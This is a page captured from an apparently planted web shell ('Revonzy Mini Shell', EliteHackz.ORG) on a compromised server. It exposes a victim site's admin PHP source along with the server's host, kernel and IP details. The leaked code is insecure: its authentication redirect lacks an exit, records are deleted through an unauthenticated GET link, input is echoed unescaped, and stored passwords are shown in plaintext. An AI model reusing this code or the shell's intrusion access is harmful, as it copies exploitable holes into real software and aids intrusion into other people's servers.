Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/balajimall.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/balajimall.com/admin/application-users-report.php

<?php
	require_once("../lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$success_msg = 0;
	$emp_id="";
	$designation="";
	$emp_name="";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	
	if(isset($_GET['delete_id']))
	{
		$del_id	=	$_GET['delete_id'];
		$db->delete_application_info($del_id);
		$success_msg	=	2;
	}
?>
<?php
	require_once('header.php');
?>
<script src="/js/jquery.min.js"></script>
<script src="src/jquery.table2excel.js"></script>
  <script type="text/javascript">
  $(document).ready(function(){
  $("#excel_btn").click(function(){
  $("#table2excel").table2excel({
  exclude: ".noExl",
  name: "Worksheet Name",
  filename: "Application User Report" //do not include extension

  });

});

});

</script>
        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header"> Application User Report</h1>
					
					<?php
					if($success_msg == 2)
					{?>
						<div class="alert alert-danger">
							Information Deleted Successfully.
						</div>
					<?php
					}
					?>
					
					
                </div>
                
            </div>
           
               <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                          Application User Report
                        </div>
                         <div class="panel-body">
                            <div class="row">
								<?php
									if(isset($_POST['add_btn']))
									{
										$emp_id 	 = $_POST['emp_id'];
										$designation = $_POST['designation'];
										$emp_name 	 = $_POST['full_name'];
									}
								
								
								?>
                                <form role="form" method="post" enctype="multipart/form-data">
									<div class="col-lg-3">
                                        <input class="form-control" placeholder="Enter Full Name" name="full_name" type="text" value="<?php echo $emp_name; ?>" >		
									</div>
                                    <div class="col-lg-3">
                                       <input class="form-control" placeholder="Enter Employee Id" name="emp_id" type="text" value="<?php echo $emp_id; ?>" >
									</div>
									
									<div class="col-lg-3">
									<select name="designation" class="form-control">
												<?php
													if($designation != "")
													{
												?>
												<option value="<?php echo $designation; ?>"><?php echo $designation; ?></option>
												<?php
												
													}
												?>
												<option value="Select Operator">Select Operator</option>
												<option value="Admin">Admin</option>
												<option value="Operator/Users">Operator/Users</option>
												
											</select>
									</div>
							
									<div class="col-lg-3">
										<button type="submit" class="btn btn-success" name="add_btn">search</button>	<br /><br />
									</div>
							</div>
						 </div>
                        <div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover" id="table2excel">
                                    <thead>
									<tr>
										<th colspan="10">  Application User Report</th>
									</tr>
                                        <tr class="noExl">
                                            <th>Serial No</th>
                                            <th>Full Name</th>
											<th>Emp Id</th>
                                            <th>Contact Number</th>
											<th>Address</th>
                                            <th>Designation</th>											
											<th>User Id</th>
                                            <th>Password</th>											   
											<th>Action</th>
											<th>Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_application_info($emp_name,$emp_id,$designation);
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id				=	$report_details[$counter][0];
												$emp_id			=	$report_details[$counter][1];
												$full_name		=	$report_details[$counter][2];
												$email_id		=	$report_details[$counter][3];
												$contact		=	$report_details[$counter][4];
												$address		=	$report_details[$counter][5];
												$designation	=	$report_details[$counter][6];
												$user_id		=	$report_details[$counter][7];
												$password		=	$report_details[$counter][8];
												
												
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											<td><?php echo $full_name; ?></td>
											<td><?php echo $emp_id; ?></td>
											<td><?php echo $contact; ?></td>
											<td><?php echo $address; ?></td>
											<td><?php echo $designation; ?></td>
									
											<td><?php echo $user_id; ?></td>
											<td><?php echo $password; ?></td>
										
											<td><a href="edit-application-users.php?up_id=<?php echo $id;?>">Edit</a></td>

                                            <td><a href="application-users-report.php?delete_id=<?php echo $id;?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="11">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>
									<button id="excel_btn" class="btn btn-success">Export</button>

                            </div>
                            <!-- /.table-responsive -->
                       
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4